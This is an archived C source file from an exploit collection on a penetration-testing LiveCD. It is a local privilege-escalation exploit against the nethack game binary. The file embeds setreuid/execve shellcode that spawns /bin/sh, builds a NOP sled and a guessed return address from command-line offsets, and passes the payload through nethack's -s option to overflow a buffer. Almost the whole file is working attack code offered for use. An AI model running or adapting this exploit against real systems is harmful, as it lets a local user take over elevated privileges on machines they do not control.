home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / application / games / nethack / nethacker.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  1KB  |  43 lines

  1. /*
  2.         tsao@efnet #!IC@efnet 2k3
  3.         thnx to aleph1 for execve shellcode &
  4.         davidicke for setreuid() shellcode
  5. */
  6.  
  7. #include <stdio.h>
  8. #include <stdlib.h>
  9. #include <unistd.h>
  10.  
  11.  
  12. char code[] =
  13.  
  14. "\x29\xc4\x31\xc0\x31\xc9\x31\xdb\xb3\x0c\x89\xd9\xb0\x46\xcd\x80"
  15. "\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"
  16. "\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
  17. "\x80\xe8\xdc\xff\xff\xff/bin/sh";
  18.  
  19.  
  20.  
  21. unsigned long sp(void) {
  22.    __asm__("movl %esp,%eax");
  23. }
  24.  
  25. int main(int argc, char **argv) {
  26.      char *p;
  27.      int i, off;
  28.  
  29.      p = malloc(sizeof(char) * atoi(argv[1]));
  30.      memset(p,0x90,atoi(argv[1]));
  31.  
  32.      off = 220 - strlen(code);
  33.      printf("shellcode at %d->%d\n",off,off+strlen(code));
  34.      for(i=0;i<atoi(argv[1]);i++)
  35.        p[i+off] = code[i];
  36.  
  37.  
  38.      *(long *) &p[220] = sp() - atoi(argv[2]);
  39.      printf("Using %x\n",sp() - atoi(argv[2]));
  40.  
  41.      execl("/usr/games/lib/nethackdir/nethack","nethack","-s",p,0);
  42.      perror("wtf");
  43. }